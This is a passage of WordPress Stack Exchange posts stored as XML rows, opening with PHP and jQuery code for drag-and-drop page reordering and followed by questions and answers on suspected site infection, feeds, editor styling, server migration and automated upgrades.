?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $i; ?&amp;gt; &amp;lt;?php _e('Results'); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;            &amp;lt;?php endfor; ?&amp;gt;        &#xA;        &amp;lt;/select&amp;gt;&#xA;       &amp;lt;?php&#xA;       } &#xA;&#xA;&#xA;&#xA;    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////&#xA;    // ACTUAL AJAX REQUEST FOR SORTING PAGES &#xA;    ///////////////////////////////////////////////////////////////////////////////////////////////////////////////&#xA;&#xA;    add_action( 'wp_ajax_simple_page_ordering', 'reorder_do_page_ordering' );&#xA;    function reorder_do_page_ordering() {&#xA;&#xA;        // RECHECK PERMISSIONS&#xA;        if ( !current_user_can('edit_others_pages') || !isset($_POST['id']) || empty($_POST['id']) || ( !isset($_POST['previd']) &amp;amp;&amp;amp; !isset($_POST['nextid']) ) )&#xA;            die(-1);&#xA;&#xA;        // IS IT A REAL POST?&#xA;        if ( !$post = get_post( $_POST['id'] ) )&#xA;            die(-1);&#xA;        $previd = isset($_POST['previd']) ? $_POST['previd'] : false;&#xA;        $nextid = isset($_POST['nextid']) ? $_POST['nextid'] : false;&#xA;        if ( $previd ) {&#xA;&#xA;            // FETCH ALL THE SIBLINGS (RELATIVE ORDERING)&#xA;            $siblings = get_posts(array( 'depth' =&amp;gt; 1, 'numberposts' =&amp;gt; -1, 'post_type' =&amp;gt; $post-&amp;gt;post_type, 'post_status' =&amp;gt; 'publish,pending,draft,future,private', 'post_parent' =&amp;gt; $post-&amp;gt;post_parent, 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC', 'exclude' =&amp;gt; $post-&amp;gt;ID ));&#xA;            foreach( $siblings as $sibling ) :&#xA;&#xA;                // BEGIN UPDATING MENU ORDERS&#xA;                if ( $sibling-&amp;gt;ID == $previd ) {&#xA;                    $menu_order = $sibling-&amp;gt;menu_order + 1;&#xA;                    // UPDATE THE ACTUAL MOVED POST TO 1 AFTER PREV&#xA;                    wp_update_post(array( 'ID' =&amp;gt; $post-&amp;gt;ID, 'menu_order' =&amp;gt; $menu_order ));&#xA;                    continue;&#xA;                }&#xA;&#xA;                // NOTHING LEFT TO DO - NUMBERS CORRECTLY PADDED&#xA;                if ( isset($menu_order) &amp;amp;&amp;amp; $menu_order &amp;lt; $sibling-&amp;gt;menu_order )&#xA;                    break; &#xA;&#xA;                // NEED TO UPDATE THE SIBLINGS MENU ORDER AS WELL&#xA;                if ( isset($menu_order) ) {&#xA;                    $menu_order++;&#xA;                    // UPDATE THE ACTUAL MOVED POST TO 1 AFTER PREV&#xA;                    wp_update_post(array( 'ID' =&amp;gt; $sibling-&amp;gt;ID, 'menu_order' =&amp;gt; $menu_order )); &#xA;                }       &#xA;            endforeach;&#xA;        }&#xA;&#xA;        if ( !isset($menu_order) &amp;amp;&amp;amp; $nextid ) {&#xA;&#xA;            // FETCH ALL THE SIBLINGS (RELATIVE ORDERING)&#xA;            $siblings = get_posts(array( 'depth' =&amp;gt; 1, 'numberposts' =&amp;gt; -1, 'post_type' =&amp;gt; $post-&amp;gt;post_type, 'post_status' =&amp;gt; 'publish,pending,draft,future,private', 'post_parent' =&amp;gt; $post-&amp;gt;post_parent, 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'DESC', 'exclude' =&amp;gt; $post-&amp;gt;ID ));&#xA;            foreach( $siblings as $sibling ) :&#xA;&#xA;                // START UPDATING MENU ORDERS&#xA;                if ( $sibling-&amp;gt;ID == $nextid ) {&#xA;                    $menu_order = $sibling-&amp;gt;menu_order - 1;&#xA;                    // UPDATE THE ACTUAL MOVED POST TO 1 AFTER PREV&#xA;                    wp_update_post(array( 'ID' =&amp;gt; $post-&amp;gt;ID, 'menu_order' =&amp;gt; $menu_order ));&#xA;                    continue;&#xA;                }&#xA;&#xA;                // NOTHING LEFT TO DO - NUMBER ALREADY PADDED&#xA;                if ( isset($menu_order) &amp;amp;&amp;amp; $menu_order &amp;gt; $sibling-&amp;gt;menu_order )&#xA;                    break; &#xA;&#xA;                // NEED TO UPDATE THE SIBLING MENU ORDER&#xA;                if ( isset($menu_order) ) {&#xA;                    $menu_order--;&#xA;                    // UPDATE THE ACTUAL MOVED POST TO 1 AFTER PREV&#xA;                    wp_update_post(array( 'ID' =&amp;gt; $sibling-&amp;gt;ID, 'menu_order' =&amp;gt; $menu_order )); &#xA;                }       &#xA;            endforeach;&#xA;        }&#xA;&#xA;        // FETCH ALL THE SIBLINGS WITH RELATIVE ORDERING AND IF THE MOVED POST HAS CHILDREN REFRESH THE PAGE&#xA;        $children = get_posts(array( 'depth' =&amp;gt; 1, 'numberposts' =&amp;gt; 1, 'post_type' =&amp;gt; $post-&amp;gt;post_type, 'post_status' =&amp;gt; 'publish,pending,draft,future,private', 'post_parent' =&amp;gt; $post-&amp;gt;ID ));&#xA;        if ( !empty($children) )&#xA;            die('children');&#xA;        die();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2nd Steps&lt;/strong&gt;&#xA;Because we the script below calls a custom js file we need to crate and include this file as well. If you don't want to modify the script above then go and create a folder in the root directory of your theme folder and call it &quot;custom&quot;. Next, within this folder create another folder called &quot;js&quot;. Next create a new file within this folder called &quot;page-resorting.js&quot; and past the following code into that file. After this is done you should be able to reorder through drag/drop all pages in the admin area.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/////////////////////////////////////////////////////////////////////////////////////////////////////&#xA;// THIS SCRIPT APPLIES TO THE CUSTOM SCRIPT MODIFICATION ALLOWING HIERARCHICAL PAGES TO BE REORDERED&#xA;/////////////////////////////////////////////////////////////////////////////////////////////////////&#xA;&#xA;&#xA;jQuery(&quot;table.widefat tbody&quot;).sortable({  &#xA;    cursor: 'move',&#xA;    axis: 'y',&#xA;    containment: 'table.widefat',&#xA;    scrollSensitivity: 40,&#xA;    helper: function(e, ui) {                   &#xA;        ui.children().each(function() { jQuery(this).width(jQuery(this).width()); });&#xA;        return ui;&#xA;    },&#xA;    start: function(event, ui) {&#xA;        if ( ! ui.item.hasClass('alternate') ) ui.item.css( 'background-color', '#ffffff' );&#xA;        ui.item.children('td, th').css('border','none');&#xA;        ui.item.css( 'outline', '1px solid #dfdfdf' );&#xA;    },&#xA;    stop: function(event, ui) {     &#xA;        ui.item.removeAttr('style');&#xA;        ui.item.children('td, th').removeAttr('style');&#xA;    },&#xA;    update: function(event, ui) {   &#xA;        if ( ui.item.hasClass('inline-editor') ) {&#xA;            jQuery(&quot;table.widefat tbody&quot;).sortable('cancel');&#xA;            alert( 'Please close the quick editor before reordering this item.' );&#xA;            return;&#xA;        }&#xA;&#xA;        var postid = ui.item.find('.check-column input').val(); // THIS POST ID&#xA;        var postparent = ui.item.find('.post_parent').html();   // POST PARENT&#xA;&#xA;        var prevpostid = ui.item.prev().find('.check-column input').val();&#xA;        var nextpostid = ui.item.next().find('.check-column input').val();&#xA;&#xA;        // can only sort in same tree&#xA;&#xA;        var prevpostparent = undefined;&#xA;        if ( prevpostid != undefined ) {&#xA;            var prevpostparent = ui.item.prev().find('.post_parent').html()&#xA;            if ( prevpostparent != postparent) prevpostid = undefined;&#xA;        }&#xA;&#xA;        var nextpostparent = undefined;&#xA;        if ( nextpostid != undefined ) {&#xA;            nextpostparent = ui.item.next().find('.post_parent').html();&#xA;            if ( nextpostparent != postparent) nextpostid = undefined;&#xA;        }   &#xA;&#xA;        // DISPLAY AN ALERT MESSAGE IF ANY OF THE FOLLOWING TAKES PLACE&#xA;        // IF PREVIOUS AND NEXT ARE NOT AT THE SAME TREE LEVEL OR NOT AT THE SAME TREE LEVEL AND THE PREVIOUS PAGE IS THE PARENT OF THE NEXT OR JUST MOVED BENEATH ITS OWN CHILDREN                     &#xA;        if ( ( prevpostid == undefined &amp;amp;&amp;amp; nextpostid == undefined ) || ( nextpostid == undefined &amp;amp;&amp;amp; nextpostparent == prevpostid ) || ( nextpostid != undefined &amp;amp;&amp;amp; prevpostparent == postid ) ) {&#xA;            jQuery(&quot;table.widefat tbody&quot;).sortable('cancel');&#xA;            alert( &quot;SORRY, THIS ACTION IS NOT POSSIBLE!\n\n&amp;gt;&amp;gt;&amp;gt; WHY THIS DOES NOT WORK:\nDrag-and-Drop capabilities only work for items within their current tree.\n\n&amp;gt;&amp;gt;&amp;gt; HERE IS HOW YOU CAN MOVE IT:\nIn order to move this item to the location you specified you simply need to use the \&quot;Quick Edit\&quot; link and modify the associated \&quot;Parent\&quot; page.\n\n&amp;gt;&amp;gt;&amp;gt; LOCATING THE QUICK EDIT LINK:\nOn the post you want to move, just hover over the post title and click on the \&quot;Quick Edit\&quot; link which appears below the title.&quot; );&#xA;            return;&#xA;        }&#xA;&#xA;        // SHOW AJAX SPINNING SAVE ELEMENT&#xA;        ui.item.find('.check-column input').hide().after('&amp;lt;img alt=&quot;processing&quot; src=&quot;images/wpspin_light.gif&quot; class=&quot;waiting&quot; style=&quot;margin-left: 6px;&quot; /&amp;gt;');&#xA;&#xA;        // EXECUTE THE SORTING VIA AJAX&#xA;        jQuery.post( ajaxurl, { action: 'simple_page_ordering', id: postid, previd: prevpostid, nextid: nextpostid }, function(response){           &#xA;            if ( response == 'children' ) window.location.reload();&#xA;            else ui.item.find('.check-column input').show().siblings('img').remove();&#xA;        });&#xA;&#xA;        // FIX CELL COLORS&#xA;        jQuery( 'table.widefat tbody tr' ).each(function(){&#xA;            var i = jQuery('table.widefat tbody tr').index(this);&#xA;            if ( i%2 == 0 ) jQuery(this).addClass('alternate');&#xA;            else jQuery(this).removeClass('alternate');&#xA;        });&#xA;    }&#xA;}).disableSelection();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-02-05T04:35:32.793" LastActivityDate="2011-02-11T01:51:06.117" Title="Help extending custom drag-drop page ordering on admin page list screen" Tags="&lt;admin&gt;&lt;page&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="4" />
  <row Id="2772" PostTypeId="1" AcceptedAnswerId="2773" CreationDate="2010-10-11T04:04:33.340" Score="1" ViewCount="108" Body="&lt;p&gt;Last day when i visited google webmaster tools, i found crawler errors for 38 not found pages. all the pages were having &quot;luminous-solutions.net&quot; at last in the URL. Like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://article-stack.com/2010/08/page/luminous-solutions.net&quot; rel=&quot;nofollow&quot;&gt;http://article-stack.com/2010/08/page/luminous-solutions.net&lt;/a&gt;&#xA;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had never written any post which is having this word. For the safety, i had manually searched it on my site using internal search facility and google search engine. But i dint found any page. I had searched in source code as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May this fault occurred from google crawler itself or really some virus infected my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put this question here, because my site is a wordpress blog.&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-12-10T04:18:43.437" Title="is there any virus spreaded over my site?" Tags="&lt;google-search&gt;&lt;virus&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2773" PostTypeId="2" ParentId="2772" CreationDate="2010-10-11T06:36:21.493" Score="1" ViewCount="" Body="&lt;p&gt;It is hard to diagnose such things from outside, because as WP itself malware can be very dynamic and so very sneaky. Codex has article with general outline of what to do if you was (or think you was) hacked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ My site was hacked&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also one tool I find very useful for looking into possible unwanted links is &lt;a href=&quot;http://unmaskparasites.com/security-report/&quot; rel=&quot;nofollow&quot;&gt;Unmask Parasites&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-11T06:36:21.493" CommentCount="3" />
  <row Id="2774" PostTypeId="2" ParentId="2742" CreationDate="2010-10-11T07:32:32.193" Score="0" ViewCount="" Body="&lt;p&gt;You want some code to be added to the &lt;code&gt;#title&lt;/code&gt; element. You can do this, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2742/how-to-add-an-rss-logo-to-my-blogs-header/2745#2745&quot;&gt;as Sorich said&lt;/a&gt;, by copying the &lt;code&gt;header.php&lt;/code&gt; file and just adding it there, but you could also try to add it in the footer and then using Javascript move it to the correct element. This might survive theme upgrades better, but is maybe not so user-friendly (the image appears just after the page has been loaded, giving a strange flash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you need is simple, let's take the example you gave:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo bloginfo('rss2_url'); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;img style=&quot;vertical-align:middle&quot; src=&quot;http://www.r-bloggers.com/wp-content/themes/black-lucas/images/rss.png&quot; alt=&quot;Subscribe to R-bloggers&quot;&amp;gt;&#xA;        RSS Feed&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you would copy the image to your own server and change the path. You can check the styles used on the page, using a good web inspector/debugging tool (like &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-11T07:32:32.193" />
  <row Id="2775" PostTypeId="2" ParentId="2772" CreationDate="2010-10-11T08:08:58.073" Score="0" ViewCount="" Body="&lt;p&gt;try searching your database manually for 'luminous-solutions.net'&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-11T08:08:58.073" CommentCount="1" />
  <row Id="2776" PostTypeId="1" AcceptedAnswerId="4434" CreationDate="2010-10-11T08:15:47.823" Score="2" ViewCount="434" Body="&lt;p&gt;hi&#xA;i have wordpress and buddypress installed and i wanted to be able to search through forum posts, blog posts and other info all over the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i found &lt;a href=&quot;http://wordpress.org/extend/plugins/search-engine/&quot; rel=&quot;nofollow&quot;&gt;Search Engine (Wordpress Plugin)&lt;/a&gt; and installed it.&#xA;after a brief indexing process i was able to perform all of my search requests but the problem is that when this plugin is enabled and i try to search for something inside the wp-admin, there are no results. when i turn the plguin off the wp-admin search runs.&#xA;i also tried google search plugin but the outcome was the same.&#xA;how can i keep my search plugin and the normal plugin work together?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-23T15:17:49.707" LastActivityDate="2010-11-23T15:17:49.707" Title="How to override normal Wordpress search in Buddypress?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;search&gt;&lt;buddypress&gt;&lt;plugin-search-engine&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2777" PostTypeId="1" CreationDate="2010-10-11T08:20:23.107" Score="1" ViewCount="33" Body="&lt;p&gt;While the wordpress editor is great, it's not completely WYSIWYG. Various CSS settings from the theme aren't displayed in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plug-in that will make the editor more WYSIWYG by loading the CSS?&#xA;Even a plug-in that adds a frame in the post-edit page that shows the post being edited will be good enough. I just want to see how the post will look like without having to open multiple tabs on my browser.&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2010-10-11T08:28:11.897" Title="Viewing post while editing" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="2778" PostTypeId="2" ParentId="2777" CreationDate="2010-10-11T08:28:11.897" Score="1" ViewCount="" Body="&lt;p&gt;Since version 3.0 WP allows to add custom stylesheet to visual editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_editor_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_editor_style()&lt;/code&gt;&lt;/a&gt; (documentation)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devpress.com/blog/style-the-post-editor-just-like-your-theme/&quot; rel=&quot;nofollow&quot;&gt;Style the post editor just like your theme&lt;/a&gt; (tutorial)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-11T08:28:11.897" CommentCount="2" />
  <row Id="2779" PostTypeId="1" AcceptedAnswerId="2781" CreationDate="2010-10-11T08:37:58.553" Score="2" ViewCount="58" Body="&lt;p&gt;I wish to create a feed of my blog which is a feed of two categories OR the feed of some tag and not the feed of some other category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to do &quot;have a feed of this1 + this2 categories&quot;, but how do you do &quot;OR&quot; in a feed URL? (and in general, is more complex operators on the URL possible, and how?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links that don't answer the question (but help define it):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lorelle.wordpress.com/2006/03/27/customizing-rss-feed-links-for-wordpresscom-and-wordpress-sidebar-widgets/&quot; rel=&quot;nofollow&quot;&gt;http://lorelle.wordpress.com/2006/03/27/customizing-rss-feed-links-for-wordpresscom-and-wordpress-sidebar-widgets/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dailycupoftech.com/2007/07/25/creating-custom-wordpress-feeds/&quot; rel=&quot;nofollow&quot;&gt;http://dailycupoftech.com/2007/07/25/creating-custom-wordpress-feeds/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-10-11T08:58:59.403" Title="Custom WordPress Feeds operators?" Tags="&lt;feed&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="2780" PostTypeId="1" CreationDate="2010-10-11T08:53:50.883" Score="4" ViewCount="173" Body="&lt;p&gt;I'm looking for a truly automated way to upgrade wordpress and its plugins, something that i could put in the crontab and configure it to run daily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several wordpress plugins (&gt;20) and a multi-site wordpress installation and I don't want to spend my time doing the upgrades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am willing to take the risk of a upgrade failure and have the sites offline until I manually resolve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please do not post solutions that are requiring manual intervention in order to make the update/upgrade.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-07-13T14:12:19.213" Title="Real automated and unattended wordpress upgrade including plugins" Tags="&lt;updates&gt;&lt;upgrade&gt;&lt;auto-update&gt;&lt;cron&gt;" AnswerCount="1" />
  <row Id="2781" PostTypeId="2" ParentId="2779" CreationDate="2010-10-11T08:58:59.403" Score="1" ViewCount="" Body="&lt;p&gt;Feeds are essentially WordPress Loop with customized template. So it will take regular &lt;code&gt;query_posts()&lt;/code&gt; arguments in URL. For example see &lt;code&gt;/wp-includes/feed-rss2.php&lt;/code&gt; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;query_posts()&lt;/code&gt; doesn't handle OR logic you describe it isn't possible with URL alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to write your own feed template that runs and concatenates two sets of post. I think it will work simply as page template, but can also be hooked into existing feed mechanics, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;do_feed()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-11T08:58:59.403" />
  <row Id="2785" PostTypeId="1" AcceptedAnswerId="2791" CreationDate="2010-10-11T11:47:37.313" Score="3" ViewCount="264" Body="&lt;p&gt;I'd like to create a custom post type and add this as a child post of some but not all existing standard posts (which are not pages). Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I, for example, create a custom post type and then include this in other posts using a shortcode? Is there a better way to do this using custom taxonomies?&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-29T08:58:02.237" Title="How can I combine posts of different types in one hierarchy?" Tags="&lt;custom-post-types&gt;&lt;hierarchical&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2786" PostTypeId="2" ParentId="2758" CreationDate="2010-10-11T11:57:37.880" Score="1" ViewCount="" Body="&lt;p&gt;there is a plugin called &quot;better blogroll&quot; &#xA;I guess it would help you do what you want .&#xA;I had it installed on one of my sites, but site currently down , so can't really test - but as far as i remember it does the work u asking for&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dyers.org/blog/better-blogroll-widget-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.dyers.org/blog/better-blogroll-widget-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;give it a look anyway and when my site is back up , i will re-confirm this&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-11T11:57:37.880" CommentCount="1" />
  <row Id="2787" PostTypeId="2" ParentId="2337" CreationDate="2010-10-11T12:23:46.767" Score="1" ViewCount="" Body="&lt;p&gt;Haven't looked at the plugin, but my guess is it's hard-coding the login URL without https in the Ajax request. The wp login form works fine in its non https version along with a form action that is set to use https, so I really can't see why Ajax wouldn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If changing the plugin is not an option, you could try these approaches:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One would be some jquery goodness on the wp_footer hook. Search for the login form's ID and change it's URL, eg: &lt;code&gt;$(ID).attr('action',  newValue);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm not 100 it'll work, though, as I vaguely recall jquery coughing on form tags when changing a form's method or action.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A second approach, if the URL appears in the login form's HTML but not in its Ajax call, would be to start an output buffer on &lt;code&gt;wp_head&lt;/code&gt;, and &lt;code&gt;str_replace()&lt;/code&gt; the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third approach, if the actual url appears in the js script as a parameter, is to override it's value in wp_footer, as is done in the auto-thickbox plugin for the image urls used in wp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A last option, if the script is messy spaghetti code with the login URL hard-coded within function calls, is to dequeue it using &lt;code&gt;wp_dequeue_script()&lt;/code&gt;, and enqueue your own version to replace it. Mind priorities if you do this: your &lt;code&gt;wp_print_scripts&lt;/code&gt; action should, obviously, occur after that of the plugin.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-17T09:46:41.247" LastActivityDate="2011-08-17T09:46:41.247" CommentCount="4" />
  <row Id="2788" PostTypeId="2" ParentId="2738" CreationDate="2010-10-11T12:39:22.897" Score="4" ViewCount="" Body="&lt;p&gt;The main gotcha when changing servers are hard-coded urls and file paths WP. They appear:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the upload path option, under settings / misc (now settings / uploads, if memory serves), on old WP installs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In attachment meta data, on very old WP installs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your htaccess file, and possibly rewrite rules, if your site lives in a subfolder.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the site URL and home URL options, under settings / general.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I generally recommend to turn permalnks off before creating the db dump, to avoid the 3rd issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 4th issue prevents you from logging in, and can be fixed from the wp config file, if your site changes URL, by adding two lines to wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;define('WP_HOME', 'http://domain.com');&#xA;define('WP_SITEURL', 'http://domain.com');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mind trailing slashes in both defines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first issue's symptom is that you'll get permission errors when uploading files. It is fixed by making the upload path empty, so that WP uses the default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second issue is only fixed by mass editing the database. But again, it's only valid for very very old data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest is like Mike said...&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-11T12:39:22.897" />
  <row Id="2789" PostTypeId="2" ParentId="2767" CreationDate="2010-10-11T12:55:10.853" Score="5" ViewCount="" Body="&lt;p&gt;I think it really breaks down to your traffic. The slower the hardware, the slower (the already slow) page generation. It's not specific to WP, it's the same for all large php scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get a server hit every now and then, as on a dev box or a family blog, it's no big deal. It'll just spit out pages more slowly. If you get concurrent hits on a regular basis, your site will get knocked off of the web quite easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that many a low end shared host stuffs multiple sites on low end hardware. It's obviously not as low end as what you linked to, but I wouldn't expect that much of a difference in performance as compared to an overstuffed shared server.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-11T12:55:10.853" CommentCount="3" />
  <row Id="2790" PostTypeId="2" ParentId="990" CreationDate="2010-10-11T13:11:36.250" Score="2" ViewCount="" Body="&lt;p&gt;I use these, myself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://core.trac.wordpress.org/ticket/9724&quot; rel=&quot;nofollow&quot;&gt;https://core.trac.wordpress.org/ticket/9724&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it's obviously more in the applying patch department. ;-)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-11T13:11:36.250" CommentCount="1" />
  <row Id="2791" PostTypeId="2" ParentId="2785" CreationDate="2010-10-11T14:07:47.603" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a better way to do this using custom taxonomies?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're right on the money there.  Rather than try to make a custom post into the child of a standard post (because you can't), I'd recommend using a custom taxonomy to order things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you could build a custom hierarchical taxonomy and use it to &quot;categorize&quot; both standard posts and custom posts.  You'd mark your standard posts as the parent in the taxonomy and your custom posts as the child.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;A second option&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another option would be to use a custom field for parental inheritance.  This might be a bit faster to code and more intuitive to use (plus it will give you some added control).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a custom meta field to your custom post type called &quot;parents.&quot;  This can then be a list of post IDs the child post should be nested under.  When you need to call up the list, you can do a quick query to &lt;code&gt;SELECT&lt;/code&gt; all of your custom posts that have the parent ID in question in their &quot;parents&quot; list.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-11T14:07:47.603" CommentCount="1" />
  <row Id="2792" PostTypeId="2" ParentId="2780" CreationDate="2010-10-11T14:17:29.157" Score="2" ViewCount="" Body="&lt;p&gt;I'm not aware of any solutions for iterating through and automatically updating your list of plug-ins, but my guess is that any system that can automatically update WordPress itself can be modified to update everything in fairly short order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I know of two good ways to update WordPress automatically:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wpremote.com&quot; rel=&quot;nofollow&quot;&gt;WP Remote&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is an online service that allows you to remotely monitor and update WordPress when needed.  From the initial description I received (I haven't had the opportunity to test it myself), you can set the system to update things automatically without your intervention.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-automatic-upgrade/&quot; rel=&quot;nofollow&quot;&gt;WordPress Automatic Upgrade&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have several clients who swear by this plug-in.  It will automatically upgrade WordPress (not your plug-ins) whenever an update becomes available.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Update 7/13/11&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another option, since you're already using cron to schedule the update, is to script it and use Subversion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you install WordPress via Subversion, you can just run &lt;code&gt;svn up&lt;/code&gt; to automatically update to the latest version.  This will update your files, but not the database ... so you'll need to script a hit to the code that runs the db update as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins will work the same way.  Rather than using the built-in installer, check out the plugins you're using via Subversion and iterate through the &lt;code&gt;/plugins&lt;/code&gt; folder with an &lt;code&gt;svn up&lt;/code&gt; command to keep them up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of my sites are using private plugins that are hosted on GitHub - I use the same process there.  I check out the plugin using &lt;code&gt;git clone&lt;/code&gt; and just run &lt;code&gt;git pull&lt;/code&gt; on a cron to keep them up to date with the latest version.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" 